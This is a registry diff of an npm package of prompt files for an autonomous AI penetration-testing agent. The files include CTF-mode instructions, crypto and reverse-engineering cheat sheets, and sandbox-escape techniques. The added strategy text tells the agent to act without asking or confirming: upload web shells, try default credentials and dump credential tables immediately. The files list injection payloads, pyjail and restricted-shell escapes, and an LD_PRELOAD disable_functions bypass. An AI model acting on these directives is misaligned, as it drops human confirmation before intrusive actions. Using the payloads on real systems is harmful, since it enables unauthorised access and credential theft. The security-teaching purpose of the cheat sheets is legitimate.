pentesting 0.22.0 → 0.24.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/prompts/ctf-mode.md
CHANGED
|
@@ -1,97 +1,22 @@
|
|
|
1
|
-
# CTF
|
|
1
|
+
# CTF Mode — Flag Tracking Active
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
CTF mode enables **automatic flag detection and tracking** in all tool output.
|
|
4
4
|
|
|
5
|
-
## CTF
|
|
5
|
+
## What CTF Mode Does
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
| Time | Days/weeks | **Hours — SPEED IS EVERYTHING** |
|
|
12
|
-
| Clues | None | **Creators leave breadcrumbs — READ THEM** |
|
|
13
|
-
| Vulnerabilities | May not exist | **ALWAYS exist — keep looking** |
|
|
7
|
+
- **Flag detection**: All tool output is scanned for known flag patterns
|
|
8
|
+
(HTB, THM, picoCTF, DEF CON OOO, CSAW, Google CTF, and generic `FLAG{...}` formats)
|
|
9
|
+
- **Auto-recording**: Detected flags are automatically saved via `add_loot`
|
|
10
|
+
- **Multiple flags**: Some challenges have multiple flags — keep hunting after the first
|
|
14
11
|
|
|
15
|
-
##
|
|
12
|
+
## Flag Submission
|
|
16
13
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
2. grep -ri 'flag{' /home /root /opt /var/www /tmp /srv 2>/dev/null | head -20
|
|
22
|
-
3. env | grep -i flag
|
|
23
|
-
4. Check databases: SELECT * FROM flags; or equivalent
|
|
24
|
-
5. cat /root/root.txt /home/*/user.txt 2>/dev/null
|
|
25
|
-
```
|
|
26
|
-
|
|
27
|
-
**On Windows targets:**
|
|
28
|
-
```
|
|
29
|
-
dir /s /b C:\*flag* C:\*user.txt C:\*root.txt 2>nul
|
|
30
|
-
type C:\Users\Administrator\Desktop\root.txt 2>nul
|
|
31
|
-
type C:\Users\*\Desktop\user.txt 2>nul
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
## 🕵️ CTF Breadcrumb Detection
|
|
35
|
-
|
|
36
|
-
CTF challenge creators ALWAYS leave clues. Look for them:
|
|
37
|
-
- **README files** in web directories or home folders
|
|
38
|
-
- **Unusual filenames** — anything that doesn't belong on a standard system
|
|
39
|
-
- **Comments in source code** — HTML comments, JS comments, CSS comments
|
|
40
|
-
- **Hints in error messages** — custom error pages often contain hints
|
|
41
|
-
- **robots.txt** — disallowed paths are INTENTIONAL hints
|
|
42
|
-
- **Custom HTTP headers** — X-Flag, X-Hint, X-Secret
|
|
43
|
-
- **Base64 strings** in unusual places — decode them
|
|
44
|
-
- **Steganography markers** — unusual file sizes, EXIF data
|
|
45
|
-
|
|
46
|
-
## ⚡ CTF Speed Optimization
|
|
47
|
-
|
|
48
|
-
### Parallel Everything
|
|
49
|
-
```
|
|
50
|
-
Turn 1 (ALWAYS):
|
|
51
|
-
├── nmap -sV -sC -T4 --min-rate=1000 -p- <target> (background)
|
|
52
|
-
├── nmap -sU --top-ports=50 -T4 <target> (background)
|
|
53
|
-
├── web_search("<target> CTF writeup") — check for existing writeups
|
|
54
|
-
└── If web port: gobuster/ffuf directory enumeration (background)
|
|
55
|
-
```
|
|
56
|
-
|
|
57
|
-
### No Confirmation, No Hesitation
|
|
58
|
-
- See a login form? Try admin:admin, admin:password, guest:guest IMMEDIATELY
|
|
59
|
-
- See a file upload? Upload a PHP web shell IMMEDIATELY
|
|
60
|
-
- See a version number? Search for exploits IMMEDIATELY
|
|
61
|
-
- See source code? Read EVERY line for hardcoded secrets
|
|
62
|
-
- See a database? Dump credentials table IMMEDIATELY
|
|
63
|
-
|
|
64
|
-
### Time Boxes — Don't Get Stuck
|
|
65
|
-
- **5 minutes** on any single attack vector. If no progress → MOVE ON
|
|
66
|
-
- **15 minutes** on any single service. If no progress → different service
|
|
67
|
-
- Never spend time "planning" — ACT and learn from results
|
|
68
|
-
- If stuck for 10+ minutes → `web_search("{service} CTF writeup hacktricks")`
|
|
69
|
-
|
|
70
|
-
## 🎯 CTF Common Vulnerability Checklist
|
|
71
|
-
|
|
72
|
-
Try these IN ORDER for every web application (highest probability first):
|
|
73
|
-
1. **Source code disclosure** — view-source, .git, .bak, .swp, robots.txt
|
|
74
|
-
2. **Default credentials** — admin:admin, then web_search("{application} default password")
|
|
75
|
-
3. **SQL Injection** — ' OR 1=1--, ' UNION SELECT, sqlmap --batch
|
|
76
|
-
4. **SSTI** — {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>
|
|
77
|
-
5. **Command Injection** — ;id, |id, $(id), `id`
|
|
78
|
-
6. **File inclusion** — ../../../../etc/passwd, php://filter
|
|
79
|
-
7. **JWT attacks** — algorithm none, weak secret, kid injection
|
|
80
|
-
8. **Deserialization** — PHP (O:...), Java (rO0...), Python pickle
|
|
81
|
-
9. **SSRF** — http://169.254.169.254, http://localhost
|
|
82
|
-
10. **Race condition** — concurrent requests to same endpoint
|
|
83
|
-
|
|
84
|
-
## 🔍 Flag Format Awareness
|
|
14
|
+
When a flag is detected:
|
|
15
|
+
- Check if a scoreboard URL exists — submit if so
|
|
16
|
+
- Flags may be encoded (base64, hex, rot13) — decode suspicious strings
|
|
17
|
+
- Proof files (user.txt, root.txt) may contain hex hashes — these ARE flags
|
|
85
18
|
|
|
86
|
-
|
|
87
|
-
- `flag{...}` — generic
|
|
88
|
-
- `HTB{...}` — HackTheBox
|
|
89
|
-
- `THM{...}` — TryHackMe
|
|
90
|
-
- `picoCTF{...}` — PicoCTF
|
|
91
|
-
- 32-char hex hash — HTB user.txt/root.txt
|
|
92
|
-
- `XXXX{...}` — custom CTF format
|
|
19
|
+
## Everything Else
|
|
93
20
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
- Some CTFs have multiple flags per challenge — keep hunting after first flag
|
|
97
|
-
- Flags may be encoded (base64, hex, rot13) — decode suspicious strings
|
|
21
|
+
Strategy, speed, aggression, proof collection, clue detection, time management —
|
|
22
|
+
these are **always active** regardless of CTF mode. See `strategy.md`.
|
package/dist/prompts/strategy.md
CHANGED
|
@@ -261,6 +261,48 @@ At every phase transition, STOP and assess:
|
|
|
261
261
|
└─ WHAT should I do NEXT? (highest probability action from priority matrix)
|
|
262
262
|
```
|
|
263
263
|
|
|
264
|
+
## 🏴 Proof Collection — MANDATORY After Every Access Change
|
|
265
|
+
|
|
266
|
+
**After EVERY privilege change (new shell, new user, root access), IMMEDIATELY collect proof:**
|
|
267
|
+
- Search for flag files, proof files, and sensitive data
|
|
268
|
+
- Check environment variables for secrets
|
|
269
|
+
- Read common proof locations (/root/root.txt, user.txt, proof.txt)
|
|
270
|
+
- Check databases for credential tables
|
|
271
|
+
|
|
272
|
+
The system **automatically detects** proof strings (flag formats, hashes) in all tool output.
|
|
273
|
+
Record everything with `add_loot` — credentials, keys, tokens, flags, proof files.
|
|
274
|
+
|
|
275
|
+
## 🕵️ Clue Detection — Read Everything the Target Gives You
|
|
276
|
+
|
|
277
|
+
Targets always leak information. Actively look for:
|
|
278
|
+
- **README files** in web directories or home folders
|
|
279
|
+
- **Unusual filenames** — anything that doesn't belong on a standard system
|
|
280
|
+
- **Comments in source code** — HTML, JS, CSS, config file comments
|
|
281
|
+
- **Custom error messages** — non-default error pages often reveal paths, versions, logic
|
|
282
|
+
- **robots.txt** — disallowed paths reveal hidden functionality
|
|
283
|
+
- **Custom HTTP headers** — X-Powered-By, X-Debug, non-standard headers
|
|
284
|
+
- **Base64/hex strings** in unusual places — decode them
|
|
285
|
+
- **File metadata** — EXIF, document properties, timestamps
|
|
286
|
+
|
|
287
|
+
## ⏱️ Time Box — Don't Get Stuck
|
|
288
|
+
|
|
289
|
+
```
|
|
290
|
+
- 5 minutes on any single attack vector. No progress → SWITCH vector
|
|
291
|
+
- 15 minutes on any single service. No progress → SWITCH service
|
|
292
|
+
- Never spend time "planning" — ACT and learn from results
|
|
293
|
+
- If stuck 10+ minutes → web_search("{service} exploit hacktricks")
|
|
294
|
+
- EVERY TURN must have tool calls. No exceptions.
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
## ⚡ Immediate Action — No Hesitation
|
|
298
|
+
|
|
299
|
+
When you see something, act instantly. Do not ask, do not plan, do not confirm:
|
|
300
|
+
- Login form → try default credentials IMMEDIATELY
|
|
301
|
+
- File upload → upload a web shell IMMEDIATELY
|
|
302
|
+
- Version number → search for exploits IMMEDIATELY
|
|
303
|
+
- Source code → read for hardcoded secrets IMMEDIATELY
|
|
304
|
+
- Database access → dump credentials IMMEDIATELY
|
|
305
|
+
|
|
264
306
|
## Kill Chain Acceleration
|
|
265
307
|
|
|
266
308
|
Traditional kill chain is too linear. Real pentesting is **parallel and recursive**:
|
|
@@ -74,3 +74,84 @@ When you can detect valid vs invalid padding:
|
|
|
74
74
|
├── Manual: Compare response to correct vs incorrect padding
|
|
75
75
|
└── Decrypt AND forge new tokens — often leads to admin access
|
|
76
76
|
```
|
|
77
|
+
|
|
78
|
+
## Elliptic Curve Attacks
|
|
79
|
+
```
|
|
80
|
+
ECC vulnerabilities in CTF:
|
|
81
|
+
├── Invalid curve attack:
|
|
82
|
+
│ Point not validated → send point on weak curve
|
|
83
|
+
│ Compute DLP on weak curve → recover private key
|
|
84
|
+
├── Smart's attack: anomalous curves (trace=1)
|
|
85
|
+
│ Lift to p-adic → solve in O(1)
|
|
86
|
+
├── MOV attack: small embedding degree
|
|
87
|
+
│ Move DLP to finite field via Weil pairing
|
|
88
|
+
├── Pohlig-Hellman: smooth curve order
|
|
89
|
+
│ Factor order → solve DLP in subgroups → CRT
|
|
90
|
+
├── ECDSA nonce reuse (k reuse):
|
|
91
|
+
│ Two signatures with same k → recover private key
|
|
92
|
+
│ s1*k - H(m1) ≡ s2*k - H(m2) mod n
|
|
93
|
+
│ k = (H(m1) - H(m2)) / (s1 - s2) mod n
|
|
94
|
+
├── Biased nonce (lattice attack):
|
|
95
|
+
│ Partial nonce leak → Hidden Number Problem → LLL
|
|
96
|
+
└── Curve parameter manipulation:
|
|
97
|
+
Custom curve with weak parameters → check order
|
|
98
|
+
|
|
99
|
+
SageMath template:
|
|
100
|
+
E = EllipticCurve(GF(p), [a, b])
|
|
101
|
+
G = E(Gx, Gy)
|
|
102
|
+
P = E(Px, Py) # public key point
|
|
103
|
+
# discrete_log for small order:
|
|
104
|
+
d = G.discrete_log(P)
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
## AES / Block Cipher Attacks
|
|
108
|
+
```
|
|
109
|
+
Identify cipher mode and attack:
|
|
110
|
+
├── ECB detection: same plaintext block → same ciphertext block
|
|
111
|
+
│ Send repeated 16-byte blocks → check for repeating output
|
|
112
|
+
│ ECB penguin: byte-at-a-time chosen-plaintext → decrypt flag
|
|
113
|
+
├── CBC bit-flipping:
|
|
114
|
+
│ Modify ciphertext byte → predictable change in next block plaintext
|
|
115
|
+
│ Change "admin=0" → "admin=1" by XORing correct byte
|
|
116
|
+
│ Target byte: C[i][j] ^= old_val ^ new_val
|
|
117
|
+
├── CBC-MAC forgery:
|
|
118
|
+
│ Length extension if no length prepend
|
|
119
|
+
│ MAC(m1) ⊕ m2_first_block → forge MAC(m1 || m2)
|
|
120
|
+
├── CTR mode: nonce reuse → XOR ciphertexts → crib dragging
|
|
121
|
+
│ C1 ⊕ C2 = P1 ⊕ P2 → known plaintext reveals other
|
|
122
|
+
├── GCM nonce reuse: recover auth key H → forge tags
|
|
123
|
+
└── Key recovery:
|
|
124
|
+
Known plaintext + ciphertext → differential/linear cryptanalysis
|
|
125
|
+
Related-key attack: if key modification is possible
|
|
126
|
+
|
|
127
|
+
CyberChef operations for quick crypto:
|
|
128
|
+
├── AES Decrypt → try ECB/CBC with extracted key/IV
|
|
129
|
+
├── XOR → brute-force single-byte key (all 256)
|
|
130
|
+
├── From Hex / From Base64 → decode layers
|
|
131
|
+
└── Magic → auto-detect encoding/encryption
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
## Modern / Advanced Crypto
|
|
135
|
+
```
|
|
136
|
+
Lattice-based (common in hard CTF crypto):
|
|
137
|
+
├── LLL algorithm: basis reduction → find short vectors
|
|
138
|
+
│ from fpylll import IntegerMatrix, LLL
|
|
139
|
+
│ M = IntegerMatrix(rows)
|
|
140
|
+
│ LLL.reduction(M)
|
|
141
|
+
├── Knapsack crypto: reduce to SVP → LLL
|
|
142
|
+
├── Coppersmith: find small roots of polynomial mod N
|
|
143
|
+
│ SageMath: small_roots(X=bound, beta=0.5)
|
|
144
|
+
│ Common use: partial known plaintext in RSA
|
|
145
|
+
├── Hidden Number Problem (HNP):
|
|
146
|
+
│ Biased ECDSA nonce → LLL → recover key
|
|
147
|
+
└── NTRU: lattice-based → LLL reduction
|
|
148
|
+
|
|
149
|
+
Side-channel (rare but appears at DEF CON):
|
|
150
|
+
├── Timing attack: response time varies with input
|
|
151
|
+
│ → Character-by-character brute force with timing measurement
|
|
152
|
+
│ → Script: measure response_time for each char candidate
|
|
153
|
+
├── Power analysis: if given power traces
|
|
154
|
+
│ Differential Power Analysis (DPA) → recover AES key
|
|
155
|
+
└── Cache timing: Flush+Reload on shared libraries
|
|
156
|
+
```
|
|
157
|
+
|
|
@@ -0,0 +1,183 @@
|
|
|
1
|
+
# Reverse Engineering Techniques
|
|
2
|
+
|
|
3
|
+
## Static Analysis — First Pass
|
|
4
|
+
```
|
|
5
|
+
Automated recon on any binary:
|
|
6
|
+
├── file <binary> → architecture, linking, stripped?
|
|
7
|
+
├── strings <binary> | grep -iE 'flag|pass|key|secret|http'
|
|
8
|
+
├── strings -el <binary> → UTF-16 strings (Windows PE)
|
|
9
|
+
├── readelf -h <binary> → ELF header (entry point, type)
|
|
10
|
+
├── readelf -s <binary> → symbol table (if not stripped)
|
|
11
|
+
├── readelf -d <binary> → dynamic section (libraries)
|
|
12
|
+
├── objdump -d <binary> → full disassembly
|
|
13
|
+
├── objdump -t <binary> → symbol table
|
|
14
|
+
├── nm <binary> → list symbols
|
|
15
|
+
├── checksec --file=<binary> → protections (NX, PIE, Canary, RELRO)
|
|
16
|
+
└── ldd <binary> → shared libraries
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Disassemblers & Decompilers
|
|
20
|
+
```
|
|
21
|
+
Ghidra (free, NSA):
|
|
22
|
+
├── Auto-analysis on import → wait for completion
|
|
23
|
+
├── Symbol Tree → Functions → main, check_*, verify_*
|
|
24
|
+
├── Decompiler window → pseudo-C output
|
|
25
|
+
├── Patch bytes: Right-click → Patch Instruction
|
|
26
|
+
├── Scripting: Tools → Script Manager → Python/Java
|
|
27
|
+
├── Cross-references: Right-click → References → Find references to
|
|
28
|
+
└── Data types: Right-click → Retype Variable → set correct type
|
|
29
|
+
|
|
30
|
+
Radare2/rizin (CLI):
|
|
31
|
+
├── r2 -A <binary> → open with auto-analysis
|
|
32
|
+
├── afl → list functions
|
|
33
|
+
├── pdf @main → disassemble main
|
|
34
|
+
├── VV @main → visual graph mode
|
|
35
|
+
├── s <addr>; pd 20 → seek and disassemble
|
|
36
|
+
├── px 100 @<addr> → hex dump
|
|
37
|
+
├── iz → strings in data sections
|
|
38
|
+
├── axt <addr> → cross-references to address
|
|
39
|
+
└── ood; dc → debug: reopen and continue
|
|
40
|
+
|
|
41
|
+
IDA Free:
|
|
42
|
+
├── F5 → decompile to pseudo-C
|
|
43
|
+
├── X → cross-references
|
|
44
|
+
├── G → go to address
|
|
45
|
+
├── N → rename variable/function
|
|
46
|
+
└── / → search text/bytes
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
## Dynamic Analysis
|
|
50
|
+
```
|
|
51
|
+
GDB + GEF/pwndbg:
|
|
52
|
+
├── gdb -q ./<binary>
|
|
53
|
+
├── b *main → breakpoint at main
|
|
54
|
+
├── b *0x<addr> → breakpoint at address
|
|
55
|
+
├── r → run
|
|
56
|
+
├── ni / si → next instruction / step into
|
|
57
|
+
├── x/20gx $rsp → examine stack
|
|
58
|
+
├── x/s <addr> → examine as string
|
|
59
|
+
├── info registers → all registers
|
|
60
|
+
├── vmmap → memory mappings (GEF)
|
|
61
|
+
├── telescope $rsp 20 → smart stack view (pwndbg)
|
|
62
|
+
├── heap bins → heap state (pwndbg)
|
|
63
|
+
└── set *<addr>=<value> → modify memory
|
|
64
|
+
|
|
65
|
+
ltrace / strace:
|
|
66
|
+
├── ltrace ./<binary> → library calls (strcmp, malloc, puts)
|
|
67
|
+
│ → strcmp("input", "s3cr3t") reveals the password directly!
|
|
68
|
+
├── strace ./<binary> → system calls (open, read, write)
|
|
69
|
+
└── strace -e trace=open ./<binary> → filter specific syscalls
|
|
70
|
+
|
|
71
|
+
Frida (runtime instrumentation):
|
|
72
|
+
├── frida -U -f <package> → Android/iOS attach
|
|
73
|
+
├── Interceptor.attach(addr, { onEnter(args) { ... }})
|
|
74
|
+
├── Module.findExportByName("libc.so", "strcmp")
|
|
75
|
+
└── Java.perform(() => { ... }) → Java method hooking
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## Anti-Reversing Bypass
|
|
79
|
+
```
|
|
80
|
+
Common protections and bypasses:
|
|
81
|
+
├── UPX packing: upx -d <binary> → decompress
|
|
82
|
+
├── Custom packer: Dump from memory after self-unpacking
|
|
83
|
+
│ ├── gdb: b *entry_after_unpack; dump memory out.bin 0x400000 0x600000
|
|
84
|
+
│ └── Or use OllyDump / Scylla for PE files
|
|
85
|
+
├── Anti-debug (ptrace):
|
|
86
|
+
│ ├── Check: ltrace → PTRACE_TRACEME call?
|
|
87
|
+
│ ├── Bypass: LD_PRELOAD with fake ptrace returning 0
|
|
88
|
+
│ ├── Or: gdb → catch syscall ptrace → set $rax=0 → continue
|
|
89
|
+
│ └── Or: patch the ptrace call to NOP (0x90)
|
|
90
|
+
├── Obfuscation (control flow flattening):
|
|
91
|
+
│ ├── Identify dispatcher pattern → trace actual execution path
|
|
92
|
+
│ ├── Use symbolic execution: angr (Python)
|
|
93
|
+
│ └── Script deobfuscation with Ghidra/IDA
|
|
94
|
+
├── Timing checks:
|
|
95
|
+
│ ├── Patch rdtsc/time calls
|
|
96
|
+
│ └── Hook time() to return constant
|
|
97
|
+
└── VM-based protection:
|
|
98
|
+
├── Identify VM bytecode interpreter loop
|
|
99
|
+
├── Extract bytecode, build custom disassembler
|
|
100
|
+
└── Often: switch-case on opcodes → map each opcode
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## Symbolic Execution (angr)
|
|
104
|
+
```
|
|
105
|
+
For complex crackmes with many branches:
|
|
106
|
+
|
|
107
|
+
import angr
|
|
108
|
+
import claripy
|
|
109
|
+
|
|
110
|
+
proj = angr.Project('./<binary>', auto_load_libs=False)
|
|
111
|
+
state = proj.factory.entry_state()
|
|
112
|
+
simgr = proj.factory.simulation_manager(state)
|
|
113
|
+
|
|
114
|
+
# Find state that reaches "Correct!" / avoid "Wrong!"
|
|
115
|
+
simgr.explore(
|
|
116
|
+
find=lambda s: b"Correct" in s.posix.dumps(1),
|
|
117
|
+
avoid=lambda s: b"Wrong" in s.posix.dumps(1)
|
|
118
|
+
)
|
|
119
|
+
|
|
120
|
+
if simgr.found:
|
|
121
|
+
solution = simgr.found[0]
|
|
122
|
+
print(solution.posix.dumps(0)) # stdin that reaches "Correct"
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
## .NET / Java Decompilation
|
|
126
|
+
```
|
|
127
|
+
.NET (C#):
|
|
128
|
+
├── dnSpy / ILSpy → full source code recovery
|
|
129
|
+
├── dotPeek (JetBrains) → decompile to C#
|
|
130
|
+
├── de4dot → deobfuscate .NET binaries
|
|
131
|
+
├── Edit method bodies directly in dnSpy → recompile
|
|
132
|
+
└── Check: file <binary> → "PE32 executable ... Mono/.Net assembly"
|
|
133
|
+
|
|
134
|
+
Java:
|
|
135
|
+
├── JD-GUI → decompile .class → .java
|
|
136
|
+
├── JADX → Android APK → Java source
|
|
137
|
+
│ jadx -d output/ <file.apk>
|
|
138
|
+
├── CFR → modern Java decompiler (handles lambdas)
|
|
139
|
+
│ java -jar cfr.jar <file.jar> --outputdir out/
|
|
140
|
+
├── procyon → another decompiler
|
|
141
|
+
└── Unpack JAR: jar xf <file.jar> → get .class files
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
## Android / Mobile Reversing
|
|
145
|
+
```
|
|
146
|
+
APK analysis:
|
|
147
|
+
├── apktool d <app.apk> → decompile resources + smali
|
|
148
|
+
├── jadx -d output/ <app.apk> → decompile to Java
|
|
149
|
+
├── unzip <app.apk> → raw contents (classes.dex, lib/)
|
|
150
|
+
├── dex2jar <classes.dex> → convert DEX to JAR
|
|
151
|
+
├── Check AndroidManifest.xml → permissions, activities, services
|
|
152
|
+
├── Search for: API keys, URLs, hardcoded secrets
|
|
153
|
+
│ grep -ri 'api_key\|secret\|flag\|password' output/
|
|
154
|
+
├── Native libraries: lib/<arch>/*.so → Ghidra/IDA
|
|
155
|
+
└── Frida for runtime: frida -U -f <package> --no-pause -l script.js
|
|
156
|
+
|
|
157
|
+
iOS:
|
|
158
|
+
├── Clutch / bfinject → decrypt IPA from jailbroken device
|
|
159
|
+
├── class-dump → dump ObjC headers
|
|
160
|
+
├── Hopper / IDA → disassemble Mach-O
|
|
161
|
+
└── Frida → runtime hooks on iOS
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
## Common CTF Rev Patterns
|
|
165
|
+
```
|
|
166
|
+
Pattern recognition — what to look for:
|
|
167
|
+
├── Simple XOR: Key repeated over flag → XOR with known prefix "flag{"
|
|
168
|
+
├── Custom encoding: Lookup table → build inverse table
|
|
169
|
+
├── Matrix/math transform: Reverse the operations
|
|
170
|
+
├── Maze/game solver: Extract map → BFS/DFS algorithm
|
|
171
|
+
├── VM challenge: Custom bytecode → write disassembler → understand ops
|
|
172
|
+
├── Anti-debug + encrypted flag: Bypass anti-debug → let decryption run
|
|
173
|
+
├── Incremental check: Each char checked independently → brute force per char
|
|
174
|
+
│ → Timing side-channel or ltrace strcmp
|
|
175
|
+
├── Z3/constraint solving: Model constraints → z3.Solver().check()
|
|
176
|
+
│ from z3 import *
|
|
177
|
+
│ s = Solver()
|
|
178
|
+
│ flag = [BitVec(f'f{i}', 8) for i in range(32)]
|
|
179
|
+
│ # Add constraints from decompiled code
|
|
180
|
+
│ s.add(flag[0] == ord('f'), flag[1] == ord('l'), ...)
|
|
181
|
+
│ s.check(); m = s.model()
|
|
182
|
+
└── Angr for path explosion: When manual analysis is too slow
|
|
183
|
+
```
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
# Sandbox & Restricted Environment Escape Techniques
|
|
2
|
+
|
|
3
|
+
## Python Jail (pyjail)
|
|
4
|
+
```
|
|
5
|
+
Bypass filter with builtins:
|
|
6
|
+
├── __builtins__.__import__('os').system('cat /flag')
|
|
7
|
+
├── eval(compile('import os; os.system("id")', '<x>', 'exec'))
|
|
8
|
+
├── Without import keyword:
|
|
9
|
+
│ ().__class__.__bases__[0].__subclasses__()[N] → find os._wrap_close
|
|
10
|
+
│ ''.__class__.__mro__[1].__subclasses__() → enumerate subclasses
|
|
11
|
+
├── Bypass char filters:
|
|
12
|
+
│ chr(111)+chr(115) → 'os'
|
|
13
|
+
│ getattr(__builtins__, '\x5f\x5fimport\x5f\x5f')('os')
|
|
14
|
+
├── eval/exec tricks:
|
|
15
|
+
│ eval(bytes([105,109,112,111,114,116]).decode())
|
|
16
|
+
│ exec('\x5f\x5fimport\x5f\x5f("os").system("sh")')
|
|
17
|
+
└── breakpoint() → drops to pdb → import os
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## PHP disable_functions Bypass
|
|
21
|
+
```
|
|
22
|
+
├── mail() + putenv(): LD_PRELOAD injection
|
|
23
|
+
│ putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','','');
|
|
24
|
+
├── FFI (PHP 7.4+): FFI::cdef() → call system()
|
|
25
|
+
├── imap_open(): with /norsh flag
|
|
26
|
+
├── imagick: LD_PRELOAD via MAGICK_CONFIGURE_PATH
|
|
27
|
+
├── pcntl_exec(): if not in disable list
|
|
28
|
+
└── Chankro: bypass via LD_PRELOAD + sendmail
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Bash Restricted Shell Escape (rbash/rksh)
|
|
32
|
+
```
|
|
33
|
+
├── vi/vim → :!/bin/bash
|
|
34
|
+
├── awk 'BEGIN {system("/bin/bash")}'
|
|
35
|
+
├── python -c 'import pty; pty.spawn("/bin/bash")'
|
|
36
|
+
├── find / -exec /bin/bash \;
|
|
37
|
+
├── BASH_ENV, ENV, SHELLOPTS manipulation
|
|
38
|
+
├── cp /bin/bash /tmp/; /tmp/bash
|
|
39
|
+
├── ssh user@localhost -t bash
|
|
40
|
+
└── Use any command that can spawn a subshell:
|
|
41
|
+
less, more, man, nmap --interactive, ftp → !/bin/bash
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
## seccomp Bypass (Binary Exploitation)
|
|
45
|
+
```
|
|
46
|
+
├── Allowed syscalls only → use openat/read/write to read flag
|
|
47
|
+
├── open() banned → openat(AT_FDCWD, "/flag", O_RDONLY)
|
|
48
|
+
├── execve banned → ORW chain (open → read → write)
|
|
49
|
+
├── sendfile() as alternative to read+write
|
|
50
|
+
└── Ret2dlresolve if seccomp applied after dynamic linking
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
## Docker / Container Escape
|
|
54
|
+
```
|
|
55
|
+
See container-escape.md for full Docker/K8s escape techniques.
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## chroot Escape
|
|
59
|
+
```
|
|
60
|
+
├── mkdir foo; chroot foo; cd ../../../../../../; chroot .
|
|
61
|
+
├── Open file descriptor to / before chroot, then fchdir
|
|
62
|
+
├── Mount /proc if available → access host filesystem
|
|
63
|
+
└── Kernel exploit → bypass chroot entirely
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## AppArmor / SELinux Bypass
|
|
67
|
+
```
|
|
68
|
+
├── Check profile: cat /proc/self/attr/current
|
|
69
|
+
├── AppArmor: aa-status, find unconfined processes
|
|
70
|
+
├── SELinux: getenforce, find permissive domains
|
|
71
|
+
├── Transition to unconfined context via allowed binary
|
|
72
|
+
└── web_search("{apparmor|selinux} bypass {profile name}")
|
|
73
|
+
```
|